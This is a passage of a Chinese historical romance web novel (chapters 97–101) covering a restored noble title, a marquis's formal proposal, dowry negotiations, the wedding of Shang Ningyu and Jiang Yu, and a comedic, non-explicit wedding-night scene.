卞玉娘眼里渗出幸福的笑意,“以前在京都,他整日浑浑噩噩,我担心得不得了,这到了宜城,跟在三叔父身后,他倒是成熟了许多,我这也算是熬过来了。” 二房这厢,方氏很快去到田氏跟前贺喜,随后主动在后厨帮忙,直至到了歇响时辰,方才回到自家屋内。 一脚跨进门,就瞧见自家夫君二老爷坐在四方桌前饮茶,二老爷听到动静,掀开眼皮,嘲笑她:“看你如此高兴,不知道的,还以为今日这旨意是传给你儿子和你丈夫的。” 方氏口干舌燥,一时没回他,夺过他的茶盏引饮而下,而后方坐了下来,喜道:“只要这旨意不是给大房那两个的,我就高兴。” 二老爷哼:“我朝爵位,兄死弟及,轮不到他两个,就应该轮到我。” “行了,你就别做春秋大梦了。”方氏幽幽一声叹,“你要是当年也自贬去偏远山村当个小县官,抑或是,平湖抗洪的时候,是你下的水,救了我们这些乡亲父老的小命,我也跟你一起做这个梦了,可惜啊,不是你。” 二老爷吃噎,神色微敛,道:“父亲和大哥当年做下的事,我可没参与,我这也是被大房牵连,圣上若要归还爵位,我若能早些知道,稍作运转,不是不行,只可惜啊,晚了一步。” 方氏闻言,也有些纳闷:“三叔一直在宜城,成日里,你和三郎都跟在后面,一举一动都看在大家眼里,他几时走动了关系,拿回爵位的?” 二老爷摇头,“不知道,他在京都的朋友多如牛毛,随便联系一个,在圣上跟前旁敲侧击一番,都有收获。” “那可未必,若真如你所说,那当年伯府围困,怎没有一个人上殿求情?”方氏不屑。 当年,夫妻二人赶回京都,伯府门前已是一片素缟,推门进入,曾经雍容华贵的嫡母一夕苍老,瘦削的颌骨透着濒临绝望的死气,整个府邸,犹如被瘟疫席卷过后的废城,生机了了。 回忆起往事,夫妻二人俱是一阵静默,须臾,二老爷站起身,状若随意地拍了拍身上浮沉,道:“行,那就委屈你,继续当个农家妇吧。” 随后,方氏叫来儿子儿媳,也是一番叮嘱。 第98章 十月初, 江南天气转凉,勇毅侯终于从遥远的岭南赶至宜城,彼时, 夏县令已经走马上任,商家一行人搬去了县衙, 江昱得了消息,第一时间去城外迎接。 江南的冬天来得很迟,直至这日, 才飘起了雪花, 水晶般的花片落地即化,片刻也留不住,半天过去,也只是润湿了浮沉,在行道上留下较深的印迹。 商家门房早在门前翘首以盼,远远瞧见江世子护送一辆马车前来, 惊呼一声, 立即转身朝后衙跑去,旋即, 商晏竹带着商凝言以及子侄出来迎接。 “侯爷大驾光临,有失远迎,失敬失敬。”商晏竹不卑不亢,中规中矩道。 与之相比, 勇毅侯江潮十分客气, 步下车驾, 三步并作两步,扶起商晏竹躬身并未完全落下的双臂,道:“子贤兄客气, 今日没有侯爷,不论身份,只论亲事,小儿顽劣,还望子贤兄赐爱。” “侯爷过赞。”商晏竹从善起身,引江潮去往衙内。 一路上,江潮扫过沿途景色,稍作寒暄,两位亲家正式在正厅落座,江昱束手,恭敬地立在江潮身侧,作恭谦模样。 江潮率先道:“数月前,我在岭南迷了方向,幸得子贤兄出手援助,叫一名向导找到了我,多谢子贤兄。” 商晏竹:“侯爷客气,举手之劳罢了,侯爷吉人自有天相,原本就该能逢凶化吉。” 浅聊两句,田氏信步走出来,给侯爷拜见后坐在商晏竹下首。 江潮回归正题,道:“瑾弋性急,四年前早与我通信,欲聘娶令爱。那时候,我对子贤兄早有耳闻,对这桩婚事自是赞同,只当时长公主也书信与我,叮嘱我切不可以势压人,‘助纣为虐’,我才知商家遭遇,只得等商家出服,再带他前来登门提亲。” “后来我回京,不巧,见了你那位学生陆霁,心中甚为震惊。此子秉性纯良,甚是不错,我姑且纳闷,有才子傍身,怎不早日定做女婿,而让我儿捷足先登?而后对长公主一问方才得知,令爱早有婚约在身。” 言罢,江潮起身,躬身一拜,道:“瑾弋顽劣,至令爱婚约于不顾,滥用私情,险些酿至大祸,江某在这里,向子贤兄赔个不是。” 田氏差点蹦起了来,堂堂一品侯爷给她一个乡野村妇行礼,她怕自己折寿。 田氏一个机灵差点没接住,但转眼就见自家夫君起身,嘴上虽说着“侯爷快起,下官不敢”恭谦的话,但腰身挺直,做足了嫁女慈父的范,心里顿时又涌上了胆气。 江昱登门提亲,将夏家这门到手的亲事毁了,不过她那日也没答应,谁家嫁女儿不是三推四请绝地拉扯? 但江昱当了多年的纨绔,学到了几分纨绔的精髓,眼见商家二老嘴上没同意,他给属下打了个手势,临近晌午,谢花儿火急火燎遣来禀报,有紧急公务要他立刻回去处理,江昱一本正经听完小斯附耳禀奏后,神色凝重,连忙向未来岳丈大人请辞,午膳都没用就紧急离去——最终,聘礼没退得回去。 若非这准女婿而后数十日人间蒸发,田氏都不能反应过来,这位玉面小郎君玩得好一手“金蝉脱壳”,眼下,记忆回笼。 她觑了一眼江昱,有些话早憋在心里没说,这会儿见侯爷如此平易近人,真真是不吐不快。 “侯爷明理,不瞒您说,未见您之前,我也是被世子一番行为吓得连冒冷汗,这见了侯爷,方才对世子有了改观。” 江潮不动声色地抬眼,问道:“不知逆子此前做过哪些过激之事?” 江昱的眼皮几不可察地一跳。 大意了,一直没寻到能令岳母称心的礼物,原想着母亲应该能拿捏住这位岳母,不曾想,母亲在半道上被圣上叫了回去,他竟就忘了这茬。 田氏道:“并不过激,也就是语姐儿第一次在国公府上打马球,他就说了句捧高踩低的话,然后就是那年,语姐儿在艺馆学艺,课后偷闲,不小心被他给撞见,直接将推搡到地上去了,哎,我当时听了真道是这两孩子犯冲,叫语姐儿离他远点儿。” 江昱汗颜,他万万没想到商凝语在家没有秘密,什么话都和母亲说,而且瞧岳父那样子,显然,也是知道这些事,顿时腿肚子都打起哆嗦来。 “婶婶教训得是。”不能再让未来岳母说下去,之前就听说,女人翻起旧账来没完没了,直至怒火中烧,临时翻脸。 江昱急中生智,道:“晚辈后来也是深刻反省,悔不当初,所以后来追至京郊行苑,原想着向她赔礼道歉,谁知当时又遇见奸人陷害,我正巧救她于危急关头,如此看来,也是缘分。” 而后强调:“妙不可言的缘分。” “什,什么危急关头?”田氏却是怔愣,她疑惑地看了眼商晏竹。 商晏竹干咳一声,将当初在行苑发生的事言简意赅地说了一遍,一面说着,一面扫江潮的脸色。 江昱心里又打了个突,感情这事她又没说,只商家父子二人知晓? 江潮听了过后,笑了,对田氏道:“如此看来,二人确实有一些缘分,若非七娘子误打误撞,瑾弋也不能抓住乔文川的把柄,而此次在宜城,他二人又同心协力,将乔家一网打尽,我瞧着,七娘子实乃我儿福星呐,商夫人海涵,尽管教训他,但切不可错过这般天赐良缘。” 江昱连忙道:“是,请婶娘赐教。” 田氏目瞪口呆,真真觉得,怪不得江瑾弋如此无奈,感情这父子二人一脉相承。 不过,侯爷大人说的话着实中听,她就喜欢这“天赐良缘”四字。 田氏喜上眉梢,顿时压不住威严,气势一松懈,便是节节败退。两家几乎顺理成章开始商议婚事。 商晏竹见状,也不再多言,毕竟,该说的,先前都与本人说过,至于侯爷和长公主二位,他更相信自己曾判断过的。 “瑾弋行事草率,这聘礼办得急,不够体面,长公主已经命人重新添置了一份聘礼,这是礼单,请二位过目。” 田氏一口气噎在嗓子眼,这还算少?那日江瑾弋送过来的箱笼可是将前院摆得满满当当,统共加起来足足有三十二箱,可她接过礼单一瞧,顿时傻眼,若按照这个礼单上来说,那日的聘礼确实算得上寒碜。 什么沉香木四季如意屏风,什么一套掐丝珐琅三君子的茶盅,等等,无一不是精雕细琢,精巧别致的宝物。 自是什么话都不需再说,没过几日,勇毅侯先行回京,亲自准备儿子的婚事,紧随其后,侯府长史赶至宜城,顺便带来了钦天监算好的良辰吉日。 很快,两家商议,日子定在来年二月初八。 日子有点赶,不过,这已经是田氏争取的最后一点利益了,依照江昱的意思,年前成亲,叫新娘子入门后一个月在夫家过年,入宫参加盛宴,届时,他定以最高的礼制善待夫人,好叫全京都的人都见识他夫人的尊贵。 个中意思,自然一针见血,叫商家夫妇二人再不必担忧女儿因娘家没落而在京都受委屈。 事实上,田氏也的确心动了,并且犹疑了些许时日,最后,还是商凝语自己将日子定在了年后。 一来,华阳长公主和陆霁婚事才办,若真的按照江昱的说法,年关一起参加宫宴,那可真是一场盛世修罗场,她在贵妇圈站稳脚跟不错,恐怕也给贵圈饭后茶余增添了不少笑料。 二来,她还是喜欢按照自己的节奏来,谋定而后动,虽然侯府在京都地位尊崇,江昱也是圣上跟前的红人,她理应是被人尊敬的那个,但她也需要慢慢适应。 当然,当女娘和当贵妇不同,这次,她不会过于隐忍。 江昱很是无奈,却见她执着,只好应她,腊月初,来到商家,向商家人拜别后,回到京都,准备婚事事宜。 这是商凝语在商家的最后一个年关,亦是商家起复后的第一个年关,整个商家格外重视,人人面上喜气洋洋,热火朝天的备着年关礼。 唯有贺氏,一直躲在屋里几乎未露面。 好在一直有卞玉娘遮掩,田氏并未察觉异样。这日,距离新年还有三日,夜间,阖府沉睡,卞玉娘身边的侍女拦下准备偷偷潜出府的嬷嬷,从她身上搜出一封书信,连人带信一起交到卞玉娘手中。 卞玉娘再三思索,翌日天亮,敲响了主院的门。 田氏沉默了许久,带着卞玉娘,去了东园,却不料,这门尚未进入,就听见屋内传来动静,推开门一瞧,好嘛,人已经悬在房梁上了。 将人救下来后,田氏屏退众人,坐在床沿,看着面色苍白如纸的贺氏,心中五味杂陈。 贺氏面上难掩戚色,道:“恭喜你们,你们终于夺了大爷的爵位。” 田氏垂下眼帘,道:“当年,听说三爷小时候,老太爷有意愿将伯府世子之位传给他时,我心中很是庆幸,庆幸有大哥大嫂在前面顶着,否则,我还真不能嫁给三老爷。” 贺氏转过头来,睫毛轻颤,眼里渐渐渗出热泪。 田氏执起手帕,替她揾拭,道:“婆母生前,就怕我们妯娌离心,还记得她临走前,将我叫去伺候的那晚吗?她老人家,对我说了很多你们的不易,我其实都明白。富贵险中求,有福同享,有难同当,我们都是一家人,还望大嫂赶紧好起来,教教言儿以后怎么当个好伯爷。” 贺氏闻言,顿时热泪盈眶,一声痛哭—— 作者有话说:下一章,成亲啦 第99章 元月过后, 很快,就到了婚期。 年前田氏忙得脚不沾地,阖府喜气洋洋, 年后出了元宵,田氏叹的口气一日比一日多, 眼见小厮快马加鞭传来讯息,说新郎官早在十日前出发,看女儿的眼神更是不舍, 只恨不得将库房都搬空。 可惜, 名贤巷的商家家底并不丰润,况且还有大房和二房两房未婚侄子侄女在,撑足了场面也拿不出聘礼的零头,看着寒碜的嫁妆单子,田氏接连几日睡不好觉。 便是在这时,冰人来商议婚事流程, 说完流程, 冰人说起前两日在江家见到了的嫁妆单子,字里行间, 透露着当初江家的聘礼如何如何隆重,“从勇毅侯府通到南城门,连绵不绝,足足花了一个时辰方才走完。” 又说“哎呦, 江家聘礼如此丰厚, 商家的嫁妆定然要铺满十里长街, 让京都城的娘子夫人们都瞧瞧,咱们这宜城也是物华天宝,稀世珍品应有尽有的呢。” 田氏脸色尴尬, “倒也不多。” 谁知冰人意味深长地睨了她一眼,道:“三夫人别过谦,长公主和侯爷都知晓商家境况,不会要求这嫁妆比照聘礼来,所以看这嫁妆,不必看是否贵重,就只看对女娘的一番心意。” 说着,举例说了嫁妆单子里好几个稀世珍宝,极尽华美地褒赞。 这可让田氏惊着了。 这说得可不是江昱送来的第一批聘礼吗? 还是陪坐一旁的方氏最先反应过来,赶紧接过话茬,“可不是嘛?我家女娘少,拢共就这么两个,她爹和她二伯父早就开始张罗着嫁妆,平日里出门,但凡见到稀奇的都给她留着了,没想到这一点点攒着,竟攒了这么些,这也是他们二人的缘分。” 田氏坐立难安,事后方氏劝她:“这嫁妆关乎语姐儿以后在婆家的脸面,眼下江世子宠爱语姐儿,愿意将聘礼当作嫁妆送过来,你就收着,替语姐儿撑场面。你若不收,这聘礼单子又厚一层,跟咱们家出的嫁妆单子差距又拉出一大截,到时候,我们天高皇帝远,什么也听不到,可这苦,就全都是语姐儿受着了,你忍心吗?” 田氏自然不忍心,可也担心此举不义,遭来丈夫的不满。 不料商晏竹听后,笑了笑,叫她就在本家的嫁妆单子里填上几笔,劝慰她:“侯爷厚道,这冰人又是长公主派来的,两位亲家都心知肚明,你若不收,反而不好,收下吧。” 经丈夫这么一提醒,田氏顿时喜极而泣,接下来,放开手脚的置办喜事,什么金丝楠木妆奁台,什么蜀锦被褥,田契铺子,可着劲儿的买。 商凝语知晓后,哭笑不得。 婚礼的前三日,田氏来给商凝语行授帨礼,将佩巾系在她身上,寓意恭顺柔明。随后,商凝语就开始了婚前最后紧急忙碌日子,又是默背婚嫁仪式,又是强记婚俗忌讳,最后还要试穿婚服。 婚期的前日,田氏依照风俗,请来了嘴皮子驰名整个宜城的刘夫人前来县衙后院,依照当地风俗,给新娘子铺床,实际上,是方氏暗戳戳显摆商家的嫁妆,好叫外人以及侯府都知晓,他们隔房可没心疼银子,苛待即将远嫁的侄女儿。 商凝语自然看出来二位伯母的心思和心结,不过,她并未在意,水至清则无鱼,待时日久了,她们这些心思都会随着几位兄长的成长振作而渐渐消弭。 出嫁清晨,宜城有头有脸的女娘都来欢送,商凝语再次当个木头桩子,坐在妆奁前任由喜娘替她梳妆,描眉画钿,但此时没了数日来的麻木和平静,喜声喧嚣,萦绕于耳,她的心龟缩在小小一隅,这才有了些许出嫁的真实之感。 想起了,她即将离开双亲,远嫁他乡。 “新娘子忍住,这会儿可不寻思着哭,晕了妆就不好看了。”全福人将镶珠挂坠的团扇放在商凝语手中,及时提醒道。 不知谁在外喊了一句,“新郎官来了。” 随后有人惊叹:“新郎官可真俊,我参加二十多年的喜宴,还没见过这么俊俏的新郎官,真真饱了眼福。” “真的吗?” “快去瞧瞧。” 商凝语眨了眨眼,将险些失蹄的泪水给逼了回去。 女子一生,最美就在这一日,风头可千万别被夺去了,新郎官也不行。 “哎呀,怎么来得这般快,新娘子衣服还没换呢,都快去拦着点,六爷呢,叫六爷多出些对子给姑爷,千万拦着点。” 喜娘惊呼。 几个好奇的女娘趁此机会,携伴出去目睹新郎官的风采,还有几名女娘留下来凑热闹,待到商凝语在内室换完衣裳,一身正红大袖霞帔款款走出,候在外间的人俱都睁大了眼,不知是谁先醒神,惊呼道:“新郎官再好看,也不及咱们新娘子。” 静谧的室间瞬间沸腾,甜言蜜语,夸得天上有地上无,像春日里的雀莺,充斥了整个喜房,顿时叫商凝语忘却了紧张。 而商凝语也自知这件婚服的华美。婚服以正红蜀锦为底,织金缕彩,以金丝银线刺鸾凤和鸣纹,外配广袖长帔,上以暗金细缕绣连绵回字纹,内外交相辉映,端庄大气。 又在缂丝袖口绣并蒂双莲,腰束青玉连环带,悬双鱼比目玉佩,无处不彰显这件婚服背后的深意。 初始,喜娘将这件婚服送来时,就悄声说了,这是江世子亲自过目,并对几处细节进行修改的终极版佳作。 绣娘手巧,将几样预示夫妻和美的不同寓意完美契合,再配上金丝点翠的凤冠,云鬓花颜,艳而不俗,丽而不妖,仪态万方,尽显诗礼传家的大家风范。 商凝语心想,好歹她有这一身的宝压着,总不至于比江昱差,念头才起,一颗心开始扑通扑通跳了起来。 他会催妆诗吗?会不会投壶?哎呀,听说他自幼出口成章,做几首诗应当不难,当了那么些年的纨绔,投壶又算得了什么? 这屋内有谁能是他的对手?商凝言或许能抵挡片刻,可是,仅仅几首诗而已,怎得来了这般久,还没进内院? 忽然,前方伴随着一阵喧哗,热闹声由远及近隐隐约约传来,点翠率先跑回屋内,几名娘子合力关上门,又是一阵热闹。 “姑爷太厉害了,连作七首诗,眼都不眨,叫六爷都无计可施。”点翠洋洋得意,跟围在商凝语身边的女娘吹嘘。 “这样啊,那投壶呢?” “姑爷一投一个准,二爷都怒了,要姑爷三支齐发,连中三次,这才费了点时间。” “我的天” 外头傧相的声音此起彼伏,终于,全福人眼见吉时已到,拖着商凝语的手腕将团扇抬起来,和喜娘一左一右,护着她走出门来。 商凝语矜持,垂下眼眸,却依然感觉到,出现在门前的刹那,一道炙热的眼神贪婪地,灼烧在她鬓角肌肤。 江昱只恨怎没有先见之明,找来一把透明的琉璃扇,那镶珠挂玉的苏绣团扇制作实在精良,密不透风,竟将她遮了个严严实实。 在傧相和女方亲朋好友两方天花乱坠的夸赞下,商凝语也着实忍耐不住,估摸着那道视线应该挪出去,稍稍将团扇前移半寸,掀了半幅眼帘,朝那个方向睃去一眼。 不意外地,金风玉露,一相逢。 商凝语吓了一跳,忙用团扇遮住面容,红霞瞬间染红了修长的脖颈,江昱目光璀璨,心满意足地笑了,掩下心头悸动,接过喜娘递上的红绸,带着她,朝正院走去。 二人一前一后行至商晏竹夫妇面前,喜娘说着婚事流程,待一套繁复地仪式结束,商晏竹叮嘱他们路上小心,互相照应,便点了点头,示意他们早点出发,田氏早就哭花了几次妆,用厚厚的胭脂遮了眼底,此刻又忍不住红了眼眶,叮嘱江昱,一定要照看好她。 商凝言蹲到商凝语面前,背上落重,他抬脚向外走去,跨出门槛的一刻,一滴冰凉随之落在颈项。 他笑了笑,道:“到了夫家,可要记得,万事与他商议,莫要以为为他好,就自作主张。” 商凝语知晓他是为了让她转移注意力,不要哭哭啼啼的,闻言,冷哼一声,道:“知道了,就你,肚量最小,有胆量你将来对我小嫂子也这么教训。” 商凝言也哼:“有何不可?你就是欠教训,早该有个人收拾你,你才能知道厉害。” 惹来商凝语一巴掌拍在他的肩膀上。 商凝言笑了笑,不再说话,将她送进帷幔遮蔽的娇撵中。 春风吹拂,娇撵上金银珠玉琳琅作响,迎亲队伍在霞光满天的晨光里离开名贤巷,蜿蜒出城,而后,改换水道,踏上去往京都的路。 十日后,队伍抵达京都,这日,暮色黄昏,时辰恰到好处,早有小厮前往侯府禀报,待新郎高头大马,引娇撵行至巷口,前方锣鼓喧天,曲乐齐鸣。 商凝语不由得攥紧了手中扇柄,眼底眸光轻微颤动。 江昱回头,目光扫过刺绣并蒂莲圈纹的布帘,嘴角忍不住上扬,露出一抹笑意,眼波流转,继而朝前来道贺的宾客拱手示谢。 第100章 新人拜天地、入洞房。喜娘截取二人一缕青丝, 系结后放入锦囊,做完结发礼后,恭喜了二人喜结连理, 而后退出婚房。 桌上两根臂粗的红烛才开始燃烧,夜, 也才将将开始。 新房内外,万籁俱寂。 江昱将装着二人青丝的锦囊放在桌上,回过身来, 仔细打量床前女娘, 女娘坐姿端正,一丝不苟,拿足了贵女矜贵的姿态,红烛摇曳,映照着再也不曾落下半分的团扇,在她身上落下一片阴影, 无端显露出几分娇羞。 近乡情怯, 江昱目光灼灼,却不急着却扇了。 他缓步向前走了两步, 眼神近乎贪婪,用眼神描摹了一遍她全身上下,婀娜身姿,纤长玉指, 并拢的一双金丝银线串珍珠米粒的翘头履。 待看够了, 方才伸手, 手指牢牢攥住扇柄,带着她,一同放下玉扇。 只一眼, 便见潋滟姿容,琼华生辉。 商凝语忐忑抬眸,二人再次对上,这次,谁都没有第一时间挪开视线。 商凝语仿佛被他眼中的炽光灼烫,鸦睫轻轻一颤,而后被眼前所见震慑住,日常总喜着紫的江昱,清冷疏离,笑起来带着玩世不恭的邪魅和桀骜,今日一身大红的他,便是高贵潋滟,风华绝代。 陌上人如玉,公子世无双。 这世间,当再无江瑾弋。 商凝语一瞬间被晃了眼,陷入了痴迷。 心中无声感叹,这世上,怎会有这般好看的男人,得天独厚,谪仙之姿。 看着她这副模样,江昱虚荣心得到满足,伸手在她嘴角轻轻一抹,道:“当初,你可是就用这眼神看的我。” 得,一出口他就后悔了。 果然,商凝语瞬间回神,将团扇重新抬了回去。 江昱:“” 商凝语娇柔矜持道:“这还没作却扇诗呢,听说你今日作了七首催妆诗,不行,我也要听一听你作的诗。” 江昱语塞:“这却扇诗,你知道是用来干什么的?” “却扇呀。” “是用来夸新娘子美貌的。” 商凝语第一反应是羞涩,继而顿悟,秀眉微蹙,问:“你觉得我今日不美?” 商凝语素日讲究实际利益,但今日不同,今日是一辈子仅此一次的人生大事,自然也注重起美貌来。 没有哪个女娘不希望在这日得到新郎官的夸赞。 “谁说你不美?”怪不得说女人善变,这变脸的速度,着实惊人。江昱心中纳罕,轻声低喃一句,放下却扇,对着她的红唇,亲了上去。 商凝语仿佛被定了身,瞪大眼睛看着他。二人近在咫尺,鼻息交流。 良久,江昱放开她,没有彻底退去,而是抵着她的鼻尖,道:“我更喜欢用这种方式在夸你。” 商凝语:“!” 商凝语木了一瞬,心头不虞瞬间消失,但她腰背依旧僵硬,轻声哼道:“你别想糊弄我,我就是要却扇诗。” 江昱结舌,再次被她的固执折服,退开半寸,敛眉沉吟,道出一首:“烛影摇曳掩玉容,执扇半遮琼色浓。笑靥初开云散雪,娇颜尽显月临穹,如何?” 商凝语在心里咀嚼了一遍,没记住,矜持道:“你写下来给我。” 江昱扶额,别人洞房花烛,洪浪翻滚,他的洞房,竟要吟诗作对,纸上谈兵。 商凝语起身,想去放进屋内的几个箱笼里寻笔砚,江昱见她动真格的,心中一叹,也罢,且当提前享受红袖添香的乐趣了,打开房门,亲自去书房拿笔墨纸砚。 点翠听到动静跑了过来,恰好见到江昱离去的背影,顿时一惊,火急火燎地推开新房的门,慌张道:“娘子,姑爷怎么走了?” 商凝语将方才亲吻时不小心被江昱勾带下来的一缕青丝别在耳后,淡然起身,走到妆奁前,边道:“他作了一首诗,说要写下来留给我做纪念,且由着他去吧,你过来,帮我把这个凤冠卸下来,它压得我脖子疼。” 点翠这才将心放回肚子里,上前帮忙,嘴上忍不住抱怨:“明天写就罢了,今日洞房花烛,姑爷哪能就这么走了。” 商凝语面不改色:“明日自然还有明日的事要做,万一忘了怎么办?自然还是今日写了比较好。” “是是是,”点翠顿悟后,取笑道,“我瞧着,定是娘子要姑爷写下来,姑爷照着去做了才是。” 商凝语嗔怒地瞪她一眼。 点翠喜笑颜开,能这般顺着固执的娘子,姑爷,真是个好姑爷。 江昱回到房中,商凝语从净房梳洗出来,身上换下了厚重的霞帔,穿着一套轻松舒适的正红绸缎锦服,青丝铺在身后,只上面一缕挽成一个简单的发髻。 点翠垂下眼帘退去。 江昱再三考虑,为防止自家的新婚妻子再突发奇想,没完没了地续用文房四宝,他在书房里将却扇诗写好。 但写完之后,听闻新房这厢已经开始洗漱,他索性命人也将热水送过来,在书房里沐浴好了方才回新房。 红烛透亮,江昱将干透的卷轴展开在商凝语面前,商凝语细细看来,这才惊觉,这里的每一词,都写了美色。 避开江昱殷切目光,她不动声色地将卷轴搁置在桌上,半对折覆盖,而后道:“嗯,就寝吧。” 语调平平,中规中矩。 若非江昱眼神犀利,察觉到她始终避让的目光,都要被她这般冷漠的样子弄得心灰意冷。 “啊——” 商凝语惊呼,羞涩地抬起眼眸,不经意间对上江昱似笑非笑的眼神,心下一缩。 江昱咬牙切齿,“新婚仪式都叫你走了个遍,接下来,我们继续。” 商凝语微微一愣,转瞬脸色爆红,但她却是知晓,接下来要做什么。 半月前,田氏带着一卷秘本来她房间,详细说了一遍,洞房花烛,新娘子该尽的义务。 嗯,若非如此,她今日原是可以尽情享受新婚这场仪式带来的虚荣和甜蜜。 为了掩饰这点羞涩,她只得用规矩教自己一步步从容地走下去。 江昱打横抱着她,注视着她脸上的表情,见她强装镇定,显然已经做足了准备,一颗心开始扑通扑通地跳了起来。 他故意将她放在床边,展开双臂,道:“开始吧。”《 》 100-106 第101章 江昱老神在在地立在床边, 斜着眼角,等着服侍。 商凝语见他那神情,便知他心中在想什么, 无非是想着,终于可以翻身做丈夫, 要拿出男人的谱在她面前摆一摆。 而商凝语心中对此并不抗拒,一直以来,她都以强势的性格展现在他面前, 然则, 夫妻之间,终究需要一柔一刚,互相迎合,方能维持长久。 强硬只不过是她保护自己的外壳,面对丈夫,哪个女娘不想小意温柔? 商凝语垂下眼帘, 如他所愿, 摆出一副小家碧玉的姿态,得知他已经沐浴过, 便执起酒杯,送到床边,与他一同饮下合卺酒,而后上前, 替他宽去外衣, 环着他的腰身, 取下腰带。 到底是不想完全让他称心如意,身体贴近时,商凝语双臂环张, 尽力不碰他分毫,但他身体散发的热度还是透过棉质婚服传了过来,令人面红耳赤。 眼见他身上只穿了一套素白亵衣,仍一动不动,只拿一双眼睛殷切地盯着她,商凝语心里将他骂了狗血淋头,面上保持镇定,将人按坐在床边。 这下应该可以了吧? 怎料对方依旧不为所动,像个巨型娃娃,等着伺候,商凝语眼珠一动,将他带到妆奁前,按着他坐下,用梳篦替他通发,动作轻柔得如照顾一个怕疼的孩童。 江昱眼眸微眯,耐心等着。 通完发,商凝语牵着他回到床边,按着他躺下,发号指令般,道:“睡吧。”甚至还在被褥上拍了两下。 拍完,实在按捺不住,扑哧一笑。 破防了。 这一笑,就没得停下来,起先是双肩耸动,想着要给新婚夫君留点面子,接着,索性放开,反正他们彼此早已熟识,何必继续装腔作势。 江昱气了个倒仰,他殷殷期盼,希望她投怀送抱,她倒好,硬是按照教养嬷嬷那套睡前服侍走了个流程。 这娘子心中,怕是压根不知狎昵为何物吧? 江昱气血上涌,索性撂挑子,侧过身装睡去,等着她上床,看她接下来预备如何继续。 他今个儿还非就要打破她那套墨守的规矩! 见他似乎真的生气了,商凝语也觉得自己过分,浑身上下没有一点女娘的娇柔造作,有失世子夫人的身份!不过,他凭什么生气?该服侍的,她可是一点也没落下! 这夫妻相处,不能剃头挑子一头热吧? 商凝语不管他了,兀自脱去外衣,从床尾爬上床,钻进鸳鸯被中,中规中矩地躺下。 接下来,该做什么,二人心知肚明,江昱目光晦暗,盯着她瞧,商凝语平躺着,目视床顶的承尘。 出嫁的前一日,阿娘来到房中,递给她一个秘本,不准她打开看,却支支吾吾说了半天,得亏她悟性高,顿悟了这新婚洞房还有一桩令人难以启齿的事。 阿娘走后,她也着实好好研究了一下秘本。 过程乃至姿势,的确令人羞耻,不过男女耦合,乃是天理伦常,将自己立于一名医者,以认真求学的心态,去研究那些画作,就容易接受多了。 但是,无论是阿娘,还是教养嬷嬷,抑或是秘本,都没说这桩事的开始是怎样进展来的。 她在脑海中仔细回温了一下知识,确定这件事应该顺其自然由男人主导引入,除非有例外,若男人欲坐享其成,作为妻子,倒是也无理由可斥责。 总之,看谁有需要。 事实毫无疑问,是她,有需要。 若今夜没有圆房,她的损失绝对比他大。他大不了明日再补,而她在侯府往后的日子,必当要花更大的力气挽回丢失的颜面。 多一事不如少一事,商凝语认命翻过身,烛光耀眼,她半张脸掩在褥子里,驱身摸索过去。 江昱早已等候多时,但她真正开始,冰凉的手指从衣角下方哧溜一下滑进来,触及肌肤时,他没忍住,虎躯微微一颤。 江昱睁开眼,眼眸晦暗地看着眼前循规蹈矩的女娘,心中第一次觉得,这姑娘脑中自成一套的“规矩”真是个好东西,竟叫他享受到这种难得的主动。 他想看看,她能做到哪一步。当然,第一次还是不要做全套,以后可以试试。 商凝语将他的内衫扔出塌,附身去亲他的嘴,江昱不躲不避,十分温顺地配合。 商凝语亲完了嘴,又转移阵地,同时双手向下,别说,他身上摸着真舒服,肌肉匀称,健硕有力。 可该做的都做完了,他始终不动如山,商凝语不由得有些气馁。 她心知,自己是不可能做到最后一步的。 她是女娘,服侍夫君乃是应尽的义务,但她不要脸的呀? 有胆量,他今后都忍着。 她保证,只要他忍过了今晚,今后她能让他忍半年! 秘书上说,初尝禁果,意犹未尽,极易心猿意马,但切不可放纵。 如此想着,商凝语准备反击。 江昱怎可能允她半途而废,在她撑起身子时,双掌瞬间锁住她的腰身,三下五除二褪去她的衣裳,而后利落翻身,将她压在身下。 商凝语大松一口气,可算是活过来了。 岂料,江昱只是给她递了个梯子,翻过身后,低下头,与她鼻尖相对,低声道:“继续。” 继续你个大头鬼。 商凝语差点将他掀翻在地,这种姿势,她还怎么继续?好在她反应极快,心中也始终想好好过了这个洞房,双掌抬起的瞬间,脑海中又划过秘本上一幅画面,改攀他的脖颈,扬起下巴,整个人像被吊起的皮影娃娃,再次覆上他的双唇。 江昱心中一叹,将她按下去,问:“成亲前,没有人叫你怎么伺候夫君?” 商凝语羞涩回:“有,我都是按照册子上学的,不对吗?” 江昱心道,依照她这好学的性子,只怕学了个表面,压根没学明□□髓,当即放弃继续求索,亲自上阵,决定用实际行动教她何为洞房。 商凝语身躯一震,这这还要伸舌头的吗? 呜好恶心 江昱以风卷残云的速度席卷了她整个口腔,商凝语不仅觉得呼吸困难,而且觉得,他的牙齿好锋利,磕得她的嫩肉细疼细疼的。 不过,这点疼她能忍,只要他愿意一直拿着主导权。 江昱也终于不负所望,一直带着她享受了美好的前奏,商凝语极尽放软了身子,迎合他的一切行为。 忽然,她发现有点不对劲,轻声问:“你在干什么?” 江昱皱起眉头,不甘地问:“在哪儿?” 商凝语初时未明白,转瞬明白他问的是什么,顿时懵了,“你不知道?” 江昱比她更懵,“我应该知道?” 商凝语哭笑不得,“我以为,这是男人的本能。” 江昱静默,继续试探。 商凝语继续软着身子配合。 须臾,江昱向自尊妥协,命令道:“你来放。”说着,引她的手往下。 商凝语身体一僵,退缩着嗫嚅道:“我也不知道。” 江昱更加郁闷了,“你自己的身体,你自己不知道?” 商凝语欲哭无泪,“我又看不见,怎会知道?” “那我看看。”江昱果断道,说着,掀开被褥,披上一件衣裳下床,拿着一盏灯回来,吓得商凝语团起被褥连连后退。 江昱单膝跪在床沿,面色黑如锅底,沉声道:“过来,我就看一眼。” “不行,”商凝语臊得不行,娇软道,“你成亲前没看画册吗?” “没有。”江昱想想就格外郁闷。 商凝语惊奇:“怎会?那个谁,白家你的那位好友,以前还画了你的小像。”说罢,她惊觉说漏了,猛地闭上嘴,目光局促。 江昱眼眸眯起,倏地退出帷幔,将灯盏放在桌上,重新穿戴整齐,留下一句:“你等我一会。”开门出去后不忘回身阖上门,隐约还能听见,他临去前,叮嘱院中的侍女不要进屋打扰她。 商凝语懵圈地躲在被褥里,忽然闷头笑了起来,笑声一颤一颤地,传到了窗外,惊走了栖在枝头的鸟雀。 江昱这次回得很快,进屋后火速进了帐内,掀开被褥将她搂紧怀中,二人一同坐了起来,翻开画册。 